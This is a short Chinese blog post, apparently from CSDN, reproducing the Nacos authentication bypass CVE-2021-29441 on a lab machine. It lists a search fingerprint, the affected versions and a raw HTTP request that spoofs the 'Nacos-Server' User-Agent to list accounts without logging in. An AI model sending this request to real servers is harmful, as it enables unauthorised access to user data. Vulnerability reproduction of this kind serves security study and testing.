Nacos认证绕过漏洞（CVE-2021-29441）

最新推荐文章于 2025-06-28 11:50:48 发布

tpaer

最新推荐文章于 2025-06-28 11:50:48 发布

阅读量2.2k

点赞数

CC 4.0 BY-SA版权

分类专栏：从入门到入狱文章标签： java 网络安全运维后端

本文链接：https://blog.youkuaiyun.com/qq_18980147/article/details/128348741

Nacos认证绕过漏洞（CVE-2021-29441）

指纹识别

title=nacos

漏洞范围

nacos1.2.0版本-nacos1.4.0版本

漏洞复现

靶机ip:192.168.1.4

默认的nacos登录界面

http://192.168.1.14:8848/nacos/#/login

在这里插入图片描述

利用如下请求包查看只有一个nacos用户

GET /nacos/v1/auth/users?pageNo=1&pageSize=100 HTTP/1.1
Host: 192.168.1.14:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close

在这里插入图片描述